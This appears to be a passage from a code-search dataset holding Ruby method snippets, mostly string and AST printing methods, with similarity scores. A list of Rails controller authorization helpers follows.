"def to_s\n result = ''\n\n # If the document starts with comments, we want to print those at the top.\n top_comments = @nodes.take_while { |node| node.is_a? CommentNode }\n top_comments.each do |comment|\n result += comment.to_s\n end\n\n # Vanity new lines ftw.\n result += \"\\n\"\n\n # Pop the top comments off the node list.\n top_comments.length.times do\n @nodes.shift\n end\n\n if @lightordark == :dark\n result += \"set background=dark\\n\\n\"\n else\n result += \"set background=light\\n\\n\"\n end\n\n result += \"highlight clear\\n\\n\"\n result += \"if exists('syntax_on')\\n\"\n result += \" syntax reset\\n\"\n result += \"endif\\n\\n\"\n result += \"let g:colors_name = '#{@name.to_s}'\\n\\n\"\n\n @nodes.each do |node|\n result += node.to_s\n end\n\n return result\n end",
"def evalWrite(expr)\n\tsymbol = evalExpression(expr)\n\tputs symbol[1]\nend",
"def rewrite(source_buffer, ast); end",
"def rewrite(source_buffer, ast); end",
"def rewrite(source_buffer, ast); end",
"def to_s\n ret = build_link\n ret << tree.to_s if tree\n\n ret\n end",
"def to_s(indent)\n tab = 4\n result = \"#{@value1}\"\n result += \", #{@value2}\" if @type == 3\n result += \"\\n\"\n result += \" \" * indent + \"left tree: \"\n result += @left ? @left.to_s(indent+tab) : \"-\\n\"\n result += \" \" * indent + \"mid tree: \"\n result += @mid ? @mid.to_s(indent+tab) : \"-\\n\"\n if @type == 3\n result += \" \" * indent + \"right tree: \"\n result += @right ? @right.to_s(indent+tab) : \"-\\n\"\n end\n return result\n end",
"def evalAST(ast)\n\tevalEstruct(ast.get_estruct)\nend",
"def to_s ()\n\taux = @head\n\tstring= \"(\"\n\twhile aux!=nil\n\t\tstring+=\"[\"+aux.value.to_s+\"]\"\n\t\taux=aux.nest\n\t\tif aux!=nil\n\t\t\tstring+=\"-\"\n\t\tend\n\tend\n\tstring +=\")\"\n\treturn string\n end",
"def to_s\n @node.content\n end",
"def query_string\n ast.to_query_string\n end",
"def to_s\n nodes.map(&:to_s).join(';')\n end",
"def to_s\n rv = ''\n write rv\n rv\n end",
"def to_s(symbols = {})\n return \"\" if @nodes.empty?\n @nodes.map {|node| node.to_s(symbols) }.join(self.class.format)\n end",
"def to_s\n index_node = @head\n out_str = \"\"\n while index_node != nil\n out_str += \"( \" + index_node.value.to_s + \" )\"\n if index_node.next_node != nil\n out_str += \" -> \"\n end\n index_node = index_node.next_node\n end\n print out_str\n end",
"def to_s\n raw = \"Raw: #{@raw}\"\n puts raw\n puts\n father = \"Father: #{@father.raw if @father}\"\n puts father\n puts\n left_sentence = \"Left: #{@left_sentence.raw if @left_sentence}\"\n puts left_sentence\n puts\n operator = \"Operator: #{@operator.value if @operator}\"\n puts operator\n puts\n right_sentence = \"Right: #{@right_sentence.raw if @right_sentence}\"\n puts right_sentence\n puts\n level = \"Level: #{@level}\"\n puts level\n puts\n end",
"def node_to_str(node, tabs = 0)\n graft = ''\n tabs += 2 if tabs.zero?\n\n if @need_offset\n tabs -= 1\n @left_bracket_offset -= 1\n end\n\n indent = @format[:indent] * (tabs / 2)\n\n if node.nil? then graft << 'null'\n\n elsif node.instance_of?(Hash)\n\n format_node(node, node).scan(/.*$/) do |n|\n graft << \"\\n\" << indent << n\n end\n\n elsif node.instance_of?(Array)\n @need_offset = @left_bracket_offset.positive?\n\n format_node(node, {}).scan(/.*$/) do |n|\n graft << \"\\n\" << indent << n\n end\n\n elsif !node.instance_of?(String) then graft << node.to_s\n\n else graft << \"\\\"#{node.gsub(/\"/, '\\\\\"')}\\\"\"\n end\n\n graft.strip\n end",
"def output(file, ast)\n astobj = []\n ast.instantiate('').each do |resource_type|\n astobj << resource_type if resource_type.file == file\n end\n\n astobj.sort! {|a,b| a.line <=> b.line }.each do |k|\n output_astnode_doc(k)\n end\n end",
"def to_string\n case node\n in SyntaxTree::StringLiteral[parts: [SyntaxTree::TStringContent[value:]]]\n value\n in SyntaxTree::StringLiteral[parts:]\n raise CompilationError, \"Unexpected string parts type: #{parts.inspect}\"\n else\n raise CompilationError, \"Unexpected node type: #{node.class.name}\"\n end\n end",
"def to_s\n\t\t\t\t\t\tstr = @content\n\t\t\t\t\t\tstr.gsub!(/\\t/,' ')\n\t\t\t\t\t\t# rdoc syntax\n\t\t\t\t\t\tstr.gsub!(/^=head(\\d+)/) do\n \t\t\t\t\"=\" * $1.to_i\n \t\t\t\tend\n \t\t\t\tstr.gsub!(/=item\\s+/, '')\n \t\t\t\tstr.gsub!(/C<(.*?)>/, '<tt>\\1</tt>')\n \t\t\t\tstr.gsub!(/I<(.*?)>/, '<i>\\1</i>')\n \t\t\t\tstr.gsub!(/B<(.*?)>/, '<b>\\1</b>')\n\t\t\t\t\t\tstr.gsub!(/^=(over|back)[^\\n]*\\n/m, '')\n\n\t\t\t\t\t\t# yard syntax\n\t\t\t\t\t\t# convert first code block to example\n\t\t\t\t\t\tstr.gsub!(/\\A(\\s+)^(\\t| \\s*\\S)/, \"\\\\1@example\\n\\\\2\")\n\t\t\t\t\t\t# convert links\n \t\t\t\tstr.gsub!(/L<(.*?)>/) do |link|\n\t\t\t\t\t\t\tlink_and_ref = $1.split(/\\|/)\n\t\t\t\t\t\t\tthing = link_and_ref[0]\n\t\t\t\t\t\t\ttext = link_and_ref[1]\n\t\t\t\t\t\t\ttext ? \"{#{thing}|#{text}}\" : \"{#{thing}}\"\n\t\t\t\t\t\tend\n\t\t\t\t\t\tstr\n\t\t\t\t\tend",
"def to_s\n io = StringIO.new\n write(io)\n io.rewind\n io.read\n end",
"def to_s\n @stringio.string\n end",
"def to_s() @out.to_s end",
"def graph_to_s\n string = \"\"\n @nodes.each do |name, node|\n string +=\"#{name}:\\n\\t(#{node.name}, #{node.country}, #{node.continent} #{node.timezone}, #{node.coords}, #{node.pop}, #{node.region}) => #{@edges[name]} \\n\"\n end\n string\n end",
"def to_string_tree\n if ((@children).nil? || (@children.size).equal?(0))\n return self.to_s\n end\n buf = StringBuffer.new\n if (!is_nil)\n buf.append(\"(\")\n buf.append(self.to_s)\n buf.append(Character.new(?\\s.ord))\n end\n i = 0\n while !(@children).nil? && i < @children.size\n t = @children.get(i)\n if (i > 0)\n buf.append(Character.new(?\\s.ord))\n end\n buf.append(t.to_string_tree)\n i += 1\n end\n if (!is_nil)\n buf.append(\")\")\n end\n return buf.to_s\n end",
"def to_tree() = puts(TTY::Tree.new({ '.' => as_tree }).render)",
"def to_s\n str = \n%{Petri Net [#{@name}]\n----------------------------\nDescription: #{@description}\nFilename: #{@filename}\n\nPlaces\n----------------------------\n#{str = ''; @places.each_value {|p| str += @objects[p].to_s + \"\\n\"}; str }\nTransitions\n----------------------------\n#{str = ''; @transitions.each_value {|t| str += @objects[t].to_s + \"\\n\" }; str }\nArcs\n----------------------------\n#{str = ''; @arcs.each_value {|a| str += @objects[a].to_s + \"\\n\" }; str}\n}\n return str\n end",
"def to_s()\n prettify()\n end",
"def get_sexp ast, only_structure\n sexp = ''\n if ast.call? and not only_structure\n sexp = '( ' + ast.method_name.source + LINE_DELIMITER + ast.line.to_s + ' '\n ast.children.each do |child|\n sexp += get_sexp(child, only_structure)\n end\n sexp += ') '\n elsif ast.loop?\n sexp = '( iter' + LINE_DELIMITER + ast.line.to_s + ' '\n ast.children.each do |child|\n sexp += get_sexp(child, only_structure)\n end\n sexp += ') '\n elsif ast.condition?\n sexp = '( cond' + LINE_DELIMITER + ast.line.to_s + ' '\n ast.children.each do |child|\n sexp += get_sexp(child, only_structure)\n end\n sexp += ') '\n else\n ast.children.each do |child|\n sexp += get_sexp(child, only_structure)\n end\n end\n sexp\nend",
"def xml_str # :nodoc:\n @writer.string\n end",
"def to_s\n s = \"\"\n @nodes.each do |identifier, node|\n s += \"#{identifier} (#{node.contigs.join(\",\")}) => #{@edges[identifier]} \\n\"\n end\n s\n end",
"def to_s\n template = indirect? ? \"[%s]\" : \"%s\"\n return template % expr_to_s\n end",
"def to_s\n result = \"\"\n @tokens.each {|token| result += \"#{token}\\n\"}\n result\n end",
"def report_with_ast_diff\n strip(<<-MESSAGE)\n #{ast_diff}\n Original-Source:\\n#{original_source}\n Original-AST:\\n#{original_ast.inspect}\n Generated-Source:\\n#{generated.source}\n Generated-AST:\\n#{generated_ast.inspect}\n MESSAGE\n end",
"def to_s\n nodes.map do |_key, node|\n node.to_s\n end.join(\"\\n\")\n end",
"def writeTree(file)\n file.write toString\n end",
"def write(node, output); end",
"def to_s\n stringified = \"#{@name}[\"\n @children.each { |kid| stringified += \"#{kid[:link]} -> #{kid[:residue]}\" }\n stringified += \"]\\n\" \n end",
"def to_s\n\t\tstring = \"(\"\n\t\taux = @head\n\t\twhile(aux != nil) do\n\t\t\tstring += \"#{aux.to_s}\"\n\t\t\t@aux = @aux.next\n\t\tend\t\n\t\tstring += \")\"\n\t\treturn string\n\tend",
"def to_s\n \"#{@lhs} -> #{rhs_str}\"\n end",
"def to_string\n io.string\n end",
"def to_s(depth = 0)\n\t\tind = \" \" * depth\n\t\tind + \"[#{nonTerminal}/#{decision}\" +\n\t\tif(children.size == 0)\n\t\t\t\"]\\n\"\n\t\telse\n\t\t\t\"\\n\" + children.map { |c| if(c.is_a?(String)) then ind + \" \" + c.inspect + \"\\n\" else c.to_s(depth+1) end }.join(\"\") + ind + \"]\\n\"\n\t\tend\n\tend",
"def to_s(depth = 0)\n\t\tind = \" \" * depth\n\t\tind + \"[#{nonTerminal}/#{decision}\" +\n\t\tif(children.size == 0)\n\t\t\t\"]\\n\"\n\t\telse\n\t\t\t\"\\n\" + children.map { |c| if(c.is_a?(String)) then ind + \" \" + c.inspect + \"\\n\" else c.to_s(depth+1) end }.join(\"\") + ind + \"]\\n\"\n\t\tend\n\tend",
"def to_s\n ret = \"<?#{@value}?>\"\n ret << \"\\n\" if parentNode.nodeType == DOCUMENT_NODE\n ret\n end",
"def to_s\n NodePrinter.new(@root).to_s\n end",
"def to_str\n dir_syntax = (dir == :ahead) ? '' : '<'\n kind_syntax = (kind == :positive) ? '=' : '!'\n \"(?#{dir_syntax}#{kind_syntax}#{child.to_str})\"\n end",
"def to_s\n\n s = \"\\n\\n==== #{self.class} ====\"\n\n find_expressions.each do |fexp|\n\n s << \"\\n\"\n if fexp.kind_of?(RawExpression)\n s << \"*raw\"\n else\n s << \" \"\n end\n s << fexp.fei.to_s\n end\n s << \"\\n==== . ====\\n\"\n\n s\n end",
"def to_s\n @expression.to_s\n end",
"def to_s\n root.to_tree_s\n end",
"def make_tostring(spec, size, eamode, eamode_ext, indent_level)\n to_string = \"\"\n to_string += \" \" * indent_level\n # save the program counter in order to reset it before leaving\n to_string += \" int oldpc = pc;\\n\"\n\n # special rule: in movem instructions, there is a 16 bit word directly\n # after the initial instruction word, which we need to read in before\n # we read the normal operands in order to have the correct PC value\n if spec.mnemonic.to_s.match(/movem_.*/) then\n # reads the register list mask\n to_string += \" int reglist = mem.readShort(pc); pc += 2;\\n\"\n end\n\n # generate the parameter definitions that become the format string\n # arguments\n if spec.out_spec.length > 0\n to_string += make_tostring_param(spec.mnemonic, size, spec.out_spec[0],\n eamode, eamode_ext,\n 'val1', indent_level)\n end\n if spec.out_spec.length > 1\n to_string += make_tostring_param(spec.mnemonic, size, spec.out_spec[1],\n eamode, eamode_ext, 'val2', indent_level)\n end\n\n # build the output string\n if spec.out_spec.length == 0 then\n to_string += \" String str = \\\"#{spec.mnemonic}\\\";\"\n else\n to_string += make_tostring_formatstring(size, spec, eamode, eamode_ext,\n indent_level)\n end\n # restore program counter and exit toString(). In a disassembler,\n # we might just keep the PC as it is\n to_string += \" \" * indent_level\n to_string += \" pc = oldpc;\\n\"\n to_string += \" \" * indent_level\n to_string += \" return str;\"\n to_string\nend",
"def to_str() end",
"def to_str() end",
"def to_string(indentation)\n connector = '+- '\n selfie = super(indentation)\n prefix = \"\\n\" + (' ' * connector.size * indentation) + connector\n subnodes_repr = subnodes.reduce(+'') do |sub_result, subnode|\n sub_result << (prefix + subnode.to_string(indentation + 1))\n end\n\n selfie + subnodes_repr\n end",
"def nodes_to_s\n string = \"\"\n @nodes.each do |name, node|\n string +=\"#{name}:\\n\\t(#{node.name})\\n\"\n end\n string\n end",
"def to_s(symbols = {}, scope = \"\")\n if @lines.empty? && @metadata.empty?\n sprintf(\"/**\\n * %s\\n */\", @header)\n else\n header = sprintf(\" * %s\", @header) unless @header.nil?\n lines = @lines.map {|l| ' * ' + l }.join(\"\\n\") unless @lines.empty?\n metadata = @metadata.to_a.map {|name, value|\n sprintf(\" * @%s %s\", name.to_s, value.to_s)\n }.join(\"\\n\") unless @metadata.empty?\n \n sprintf(\"/**\\n%s\\n */\", [\n header || nil,\n lines || nil,\n metadata || nil\n ].compact.join(\"\\n *\\n\"))\n end\n end",
"def to_s\n @parser ||= WikitextParser.new\n @parsed ||= @parser.parse(@string).to_s\n end",
"def load_ast!(ast)\n end",
"def to_s\r\n\t\tSCAsmFile.buffer_as_scasm_file(@contents)\r\n\tend",
"def rewrite(source_buffer, ast, **policy); end",
"def rewrite(source_buffer, ast, **policy); end",
"def rewrite(source_buffer, ast, **policy); end",
"def toXmlStr(otObject, depth=1)\n tempDb = XMLDatabase.new\n tempObjectService = @otrunk.createObjectService(tempDb)\n newObj = tempObjectService.copyObject(otObject, depth)\n tempDb.setRoot(newObj.getGlobalId)\n outStream = ByteArrayOutputStream.new\n ExporterJDOM.export(outStream, tempDb.getRoot(), tempDb)\n outStream.toString\n end",
"def to_s\n contents.to_s\n end",
"def to_s\n unless Semantic.in_function\n SodaLogger.error('return can only be used inside a function definition')\n end\n \"#{Indentation.get}return #{@expression};\"\n end",
"def serialize(root)\n to_string(root)\n end",
"def test_get_ast\n parser_test_cases.each do |t|\n token = IR.new.get_token_str([t[:str]])\n ast = IR.new.get_ast(token).map(&:to_s)\n assert_equal(\n t[:desired_ast],\n ast\n )\n end\n end",
"def test_get_ast\n parser_test_cases.each do |t|\n token = IR.new.get_token_str([t[:str]])\n ast = IR.new.get_ast(token).map(&:to_s)\n assert_equal(\n t[:desired_ast],\n ast\n )\n end\n end"
] |
[
"0.6575975",
"0.6575975",
"0.65392905",
"0.65284336",
"0.6398587",
"0.6313835",
"0.629045",
"0.60831267",
"0.5995759",
"0.5972939",
"0.5971942",
"0.5971942",
"0.5916045",
"0.5868838",
"0.5868838",
"0.5849987",
"0.58491004",
"0.5847534",
"0.5841547",
"0.5839539",
"0.58279616",
"0.5808354",
"0.5798701",
"0.5792305",
"0.57690275",
"0.57447547",
"0.5714032",
"0.57114613",
"0.57033986",
"0.5681596",
"0.5650008",
"0.5623185",
"0.56093687",
"0.56026834",
"0.5601576",
"0.55744267",
"0.55744267",
"0.55744267",
"0.55637246",
"0.5552325",
"0.5547218",
"0.5531082",
"0.55110633",
"0.55083805",
"0.5494968",
"0.54833925",
"0.5477205",
"0.54492414",
"0.544516",
"0.54433805",
"0.5440499",
"0.5439635",
"0.5434922",
"0.5414193",
"0.5392341",
"0.5391352",
"0.53772867",
"0.53703105",
"0.53671736",
"0.5363185",
"0.5354306",
"0.53466576",
"0.5344628",
"0.53432924",
"0.533768",
"0.5324307",
"0.53239334",
"0.53196406",
"0.5313867",
"0.5300021",
"0.5295655",
"0.5290448",
"0.5280772",
"0.5275521",
"0.52701133",
"0.52701133",
"0.5260924",
"0.52609026",
"0.5258749",
"0.5257585",
"0.52488893",
"0.5246001",
"0.5245104",
"0.52369183",
"0.52369183",
"0.5227814",
"0.52257043",
"0.5221695",
"0.5216152",
"0.5198618",
"0.5198407",
"0.51923853",
"0.51923853",
"0.51923853",
"0.51909006",
"0.51891464",
"0.518801",
"0.5187142",
"0.51853967",
"0.51853967"
] |
0.7896145
|
0
|
allowed controllers and actions
|
def skip(controllers,actions)
@authorize_actions ||= {}
Array(controllers).each do |controller|
Array(actions).each do |action|
@authorize_actions [[controller.to_s,action.to_s]] = true
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_controllers\n permissions.map{|permission| self.class.controller_name_from_permission(permission) }.compact\n end",
"def allow_all_actions(path)\n @allowed << { :controller => recognize_path(path)[:controller] }\n end",
"def allowed?\n true\n # AccessControl.allowed_controllers(current_user.profile.label, current_user.profile.modules).include?(params[:controller])\n end",
"def authorize_access\r\n # authorize!(action_name.to_sym, \"#{controller_name}_controller\".camelcase.constantize)\r\n end",
"def defined_actions\n\n controller.instance_methods.map(&:to_sym) & ResourceController::ACTIVE_ADMIN_ACTIONS\n\n end",
"def authorization_required\n case action_name.to_s\n when /index/, /show/ then list_authorized?\n when /create/ then create_authorized?\n when /update/ then update_authorized?\n when /destroy/ then delete_authorized?\n end\n false\n end",
"def permitted?\n klass = self.controller_name.classify.constantize\n object = instance_variable_get(\"@#{self.controller_name.singularize}\")\n\n case params[:action]\n when \"index\"\n klass.readable_by?(current_user, @context)\n when \"show\"\n object && object.readable_by?(current_user)\n when \"new\", \"create\"\n klass.creatable_by?(current_user, @context)\n when \"edit\", \"update\"\n object && object.updatable_by?(current_user)\n when \"destroy\"\n object && object.deletable_by?(current_user)\n end\n end",
"def controller_permitted?(controller_name)\n allowed_controllers.include?(controller_name)\n end",
"def action_allowed?\n case params[:action]\n when 'show', 'set_priority', 'index'\n ['Instructor',\n 'Teaching Assistant',\n 'Administrator',\n 'Super-Administrator',\n 'Student'].include?(current_role_name) &&\n ((%w[list].include? action_name) ? are_needed_authorizations_present?(params[:id], 'participant', 'reader', 'submitter', 'reviewer') : true)\n else\n ['Instructor',\n 'Teaching Assistant',\n 'Administrator',\n 'Super-Administrator'].include? current_role_name\n end\n end",
"def getcontrollers\n @controllers = Eb::Permission.getcontrollers\n end",
"def controllers\n raise NotImplementedError\n end",
"def may?(controller_constant,action_name,params={})\n HESControllerMixins.authorize_action(controller_constant,action_name,self,self.promotion,params)\n end",
"def controller_actions(perms)\n application_controller(perms)\n ApplicationController.descendants.each do |c|\n next if c == Peek::ResultsController || c.parent == Blazer # Fix for gems\n next unless c.respond_to?(:permission_definition)\n next if c.permission_definition.nil? || c.permission_definition == {}\n perms << PermissionsGenerator.new(c)\n end\n return perms\nend",
"def verify_rights\n access_allowed?(params.slice(:controller, :action)) || permission_denied\n end",
"def load_permissions\n authorize! :manage, :all\n end",
"def is_allowed?(controller=params[:controller], action=params[:action], id=params[:id])\n case controller\n when \"admin\"\n return is_admin?\n \n when \"user\"\n case action\n when \"register\"\n return !logged_in?\n when \"login\"\n return !logged_in?\n when \"logout\"\n return logged_in?\n when \"show\", \"edit\"\n return ((is_admin?) || (current_user == id))\n when \"list\", \"index\"\n return logged_in?\n when \"pay\"\n return is_beta?\n end\n \n when \"country\", \"grape\", \"apptype\", \"appellation\" #basic ERD viewable to all\n case action \n when \"delete\", \"edit\", \"new\"\n return ((is_admin? || is_full? || is_pro?))\n else\n return true\n end\n \n when \"wine\" #basic ERD viewable ONLY to members\n case action\n when \"index\", \"list\"\n return true\n when \"delete\"\n return is_admin?\n when \"edit\"\n return (is_admin? || is_full? || is_pro?)\n else\n return logged_in?\n end\n \n when \"bottle\" # these two will get more complicated w/ friendship model\n return false unless logged_in?\n if is_free?\n return false\n end\n case action\n when \"index\", \"list\"\n return (is_admin? || is_full?)\n else\n return (is_my_bottle? || is_admin?)\n end\n\n when \"tastingnote\"\n return false unless logged_in?\n case action\n when \"index\", \"list\"\n return (is_admin? || is_full?)\n when \"new_w\"\n return logged_in?\n when \"new_b\"\n return (is_full? && is_my_bottle?(id)) \n else\n return (is_my_tnote? || is_admin?)\n end\n \n else # catch-all\n return is_admin?\n end\n\n end",
"def authorize_controller!\n authorize! action_name.to_sym, full_controller_name\n end",
"def authorize_action\n YamledAcl.init(current_user_group_name, params[:controller])\n allowed_to?(params[:action]) or raise(YamledAcl::AccessDenied)\n end",
"def authorize\n action = {:controller => params[:controller], :action => params[:action]}\n allowed = User.current.allowed_to?(action, project = nil, options={:global => true})\n allowed ? true : deny_access\n end",
"def authorize\n action = {:controller => params[:controller], :action => params[:action]}\n allowed = User.current.allowed_to?(action, project = nil, options={:global => true})\n allowed ? true : deny_access\n end",
"def authorize\n controller.class_eval do\n define_method name, block\n self.send callback, name.to_sym, only: actions\n end\n end",
"def authorization_check(controller, action, request, context = {})\n # Determine the controller to look for\n controller_method = [controller, action].join(\"/\")\n # Get the privilegesets\n privilege_sets = Privilege.select(controller_method, request)\n # Check the privilege sets\n check_privilege_sets(privilege_sets, context)\n end",
"def allows?(action, controller)\n return true if controller == self.resource && self.action == 'all'\n \n controller == self.resource && case action.to_s when 'new', /(create)/\n self.action == 'create'\n when 'index', /(show)/\n self.action == 'read'\n when /(edit)/, /(update)/\n self.action == 'update'\n when /(destroy)/\n self.action == 'delete'\n else # fallback: if :action is already a CRUD action\n self.action == action\n end\n end",
"def allowed?\n maps = AccountAccess.maps_for(current_account)\n\n allowed = maps.collect(&:allowed).flatten.uniq\n denied = maps.collect(&:denied).flatten.uniq\n\n allow = allowed.find do |a|\n a[:controller] == params[:controller] &&\n (a[:action].blank? || a[:action] == params[:action])\n end\n\n deny = denied.find do |a|\n a[:controller] == params[:controller] &&\n (a[:action].blank? || a[:action] == params[:action])\n end\n\n return allow && !deny\n end",
"def access_allowed?(opts={})\n opts[:controller] ||= params[:controller]\n opts[:action] ||= params[:action]\n current_user.rights.any? { |r| r.allowed?(opts.slice(:controller, :action)) }\n end",
"def authorized? (controller, action, resource = nil)\n #only check if user has controller name present in database access array\n if resource.nil && @authorized_actions[[controller.to_s,action.to_s]]\n true\n elsif has_rights_to?(controller) \n evaluate?(controller, action, resource)\n else\n #return false if controller not present in array\n false\n end\n end",
"def authorize_for(controller, action)\r\n User.current.allowed_to?({:controller => controller, :action => action}, @project)\r\n end",
"def authorize_for(controller, action)\r\n User.current.allowed_to?({:controller => controller, :action => action}, @project)\r\n end",
"def allowed_resource_actions\n return @allowed_resource_actions\n end",
"def allowed_to?(action)\n if action.is_a? Hash\n authorized = allowed_actions.include? \"#{action[:controller]}/#{action[:action]}\"\n else\n authorized = allowed_permissions.include? action\n end\n logger.debug \"Authorizing: Granted: #{authorized}\"\n authorized\n end",
"def allowed_to?(action, controller = nil)\n YamledAcl.permission?(action, controller)\n end",
"def authorize\n authorization_check(params[:controller], params[:action], request.request_method.downcase, self) || unauthorized\n end",
"def authorize(ctrl = params[:controller], action = params[:action])\n company = current_company\n company_groups = company.groups\n current_groups = company_groups & current_user.groups\n if company.nil?\n allowed = false\n elsif current_user.groups.nil?\n allowed = false\n elsif current_groups\n allowed = current_user.allowed_to?(current_user, {:controller => ctrl, :action => action}, company)\n else\n allowed = false\n end\n\n allowed ? true : deny_access\n end",
"def authorize(ctrl = params[:controller], action = params[:action], global = false)\n case action\n when \"rootwebdav\", \"webdavnf\"\n allowed = true\n else\n allowed = User.current.allowed_to?({:controller => ctrl, :action => action}, @project, :global => global)\n end\n allowed ? true : deny_access\n end",
"def deny_all_actions(path)\n @denied << { :controller => recognize_path(path)[:controller] }\n end",
"def valid_options\n super | [ :controller_matches ]\n end",
"def access_allowed?(opts={})\n if opts.is_a?(String)\n controller, action = opts.split('#')\n opts = {:controller => controller, :action => action}\n end\n opts[:controller] ||= params[:controller]\n opts[:action] ||= params[:action]\n current_user.rights.any? { |r| r.allowed?(opts.slice(:controller, :action)) }\n end",
"def allowed_to?(action)\n if action.is_a? Hash\n allowed_actions.include? \"#{action[:controller]}/#{action[:action]}\"\n else\n allowed_permissions.include? action\n end\n end",
"def permit?(controller, action)\n target_action = controller + '#' + action\n if self.permissions.include?(target_action)\n true\n else\n false\n end\n end",
"def authorize(ctrl = params[:controller], action = params[:action], global = false)\n allowed = User.current.allowed_to?({:controller => ctrl, :action => action}, @project, :global => global)\n allowed ? true : deny_access\n end",
"def authorize(ctrl = params[:controller], action = params[:action], global = false)\n allowed = User.current.allowed_to?({:controller => ctrl, :action => action}, @project, :global => global)\n allowed ? true : deny_access\n end",
"def authorize_user\n unless @api_user.permit? params[:controller], params[:action]\n head :unauthorized and return\n end\n end",
"def access_control\n \n end",
"def has_permission?\n return true if administrator?\n \n # Load the Model based on the controller name\n klass = self.controller_name.classify.constantize\n \n # Load the possible parent requested\n @parents = (klass.has_parent?) ? get_parents_from_request_params(klass, params) : nil\n \n # Load the resource requested\n if params[:id]\n if [\"index\", \"destroy\", \"update\"].include?(params[:action]) && klass.respond_to?(:in_set)\n @resource = klass.in_set(params[:id])\n @resource = @resource.first if @resource.size == 1\n else\n @resource = klass.find(params[:id])\n end\n end\n \n # Let's let the Model decide what is acceptable\n # NOTE: It is still the concrete controller's job to filter inaccessible resources (accessed via the index)!\n # This presumably happens in the with_parent named scope\n \n authorized = case params[:action]\n when \"edit\", \"update\"\n if !@resource.is_a?(Array)\n return @resource.updatable_by?(current_user, @parents) # this is 'returned' to authorized\n end\n \n verify_set_accessablility(@resource, :updatable_by?) do |unauthorized_ids|\n permission_denied(\n :status => :conflict,\n :message => \"#{unauthorized_ids.to_a.join(',')} is not available for update.\"\n ) if unauthorized_ids.size > 0\n end\n true # if it gets past verification, authorized is true\n \n when \"destroy\" \n if !@resource.is_a?(Array)\n return @resource.deletable_by?(current_user, @parents)\n end\n \n verify_set_accessablility(@resource, :deletable_by?) do |unauthorized_ids|\n permission_denied(\n :status => :conflict,\n :message => \"#{unauthorized_ids.to_a.join(',')} is not available for deletion.\"\n ) if unauthorized_ids.size > 0\n end\n true # if it gets past verification, authorized is true\n \n when \"index\" then klass.indexable_by?(current_user, @parents)\n when \"new\", \"create\" then klass.creatable_by?(current_user, @parents)\n when \"show\" then @resource.readable_by?(current_user, @parents)\n else check_non_restful_route(current_user, klass, @resource, @parents)\n end\n \n permission_denied unless authorized\n \n #rescue NoMethodError => e\n # Misconfiguration: A RESTful_ACL specific method is missing.\n #raise_error(klass, e)\n #rescue\n # Failsafe: If any funny business is going on, log and redirect\n #routing_error\n #end\n end",
"def admin_actions(user)\n can_act_as_logged_in_user(user)\n can_view_any_profile\n can_view_any_gallery\n can_edit_saved_queries\n can_curate\n can_update_metadata\n can_administer\n end",
"def get_list_of_controllers_for_menu\n @controllers = get_list_of_file_names('app/controllers').reject! { |c| c =~ /^application|^site_settings|^user_sessions|^ajax/i }\n @controllers.map { |c| c.gsub!('_controller', '') }\n \n unless current_user.has_role?('Admin')\n @controllers.reject! { |c| !current_user.has_permission? c, 'index' }\n end\n end",
"def administrator_rights\n Lockdown::System.all_controllers_all_methods\n end",
"def authorized?\n %w(new create plans canceled thanks).include?(self.action_name) || \n ((self.action_name == 'dashboard') && current_user) ||\n admin?\n end",
"def authorized?\n %w(new create plans canceled thanks).include?(self.action_name) || \n ((self.action_name == 'dashboard') && current_user) ||\n admin?\n end",
"def authorize_admin\n redirect_to :login unless current_user.permission.manage_app ||\n current_user.permission.manage_attrs ||\n current_user.permission.manage_achievement_categories ||\n current_user.permission.manage_talent_trees ||\n current_user.permission.manage_talents ||\n current_user.permission.manage_quests ||\n current_user.permission.manage_skills ||\n current_user.permission.manage_achievements ||\n current_user.permission.manage_items ||\n current_user.permission.manage_titles\n end",
"def enforce_access_controls(opts={})\n controller_action = params[:action].to_s\n delegate_method = \"enforce_#{controller_action}_permissions\"\n if self.respond_to?(delegate_method.to_sym, true)\n self.send(delegate_method.to_sym)\n else\n true\n end\n end",
"def authorizations\n @@authorized_actions ||= {}\n @@authorized_actions\n end",
"def appctrl_not_permitted\n render( { :text => 'Action not permitted', :status => 403 } )\n end",
"def is_controller?; false; end",
"def allowed_resources\n %w( )\n end",
"def application_controller(perms)\n return unless ApplicationController.respond_to?(:permission_definition)\n return if ApplicationController.permission_definition.nil? || ApplicationController.permission_definition == {}\n perms << PermissionsGenerator.new(ApplicationController)\nend",
"def authorize_admin!\n authorize! :manage, :all\n end",
"def action_allowed?(action_name, user)\n return false\n end",
"def index\n authorize!(:view_configuration_management)\n end",
"def authorize\r\n # check if action is allowed on public projects\r\n if @project.is_public? and Permission.allowed_to_public \"%s/%s\" % [ @params[:controller], @params[:action] ]\r\n return true\r\n end \r\n # if action is not public, force login\r\n return unless require_login \r\n # admin is always authorized\r\n return true if self.logged_in_user.admin?\r\n # if not admin, check membership permission \r\n @user_membership ||= Member.find(:first, :conditions => [\"user_id=? and project_id=?\", self.logged_in_user.id, @project.id]) \r\n if @user_membership and Permission.allowed_to_role( \"%s/%s\" % [ @params[:controller], @params[:action] ], @user_membership.role_id ) \r\n return true\t\t\r\n end\t\t\r\n render :nothing => true, :status => 403\r\n false\r\n end",
"def authorize\n end",
"def authorize\n end",
"def authorized?\n\n return false unless current_user\n\n %w{ show index }.include?(action_name) || current_user.is_admin?\n end",
"def permitted?\n appctrl_not_permitted() if ( @current_user.restricted? )\n end",
"def verify_rights\n access_allowed?(controller_action_options) || permission_denied\n end",
"def authorization; end",
"def only_render_implemented_actions\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n raise AbstractController::ActionNotFound unless action_methods.include?(params[:action])\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n end",
"def check_authentication\n case self.controller_name\n when /^clients/i, /^ingredients/i, /^orders/i, /^pages/i, /^productpresentations/i, /^products/i, /^companies/i\n authenticate\n end\n end",
"def not_protected (controller_name, action_name)\n if (!['users'].include? controller_name)\n return false\n end \n\n if (!['create', 'new', 'index'].include? action_name)\n return false\n end\n\n return true\n end",
"def determine_valid_action\n\n end",
"def is_authorized\n controller = params[:controller].classify\n exception = controller.split(':').first\n if exception.include? 'User'\n exception = controller.split(':').last\n devise_controller = controller.split(':').first\n end\n\n unless Rails.configuration.x.controller_exceptions.include? exception\n return true if current_user.god?\n if devise_controller\n authorize_with devise_controller.classify.constantize, params[:action].to_s, controller\n else\n begin\n authorize_with controller.classify.constantize\n rescue\n authorize_with controller.singularize.to_sym\n end\n end\n end\n end",
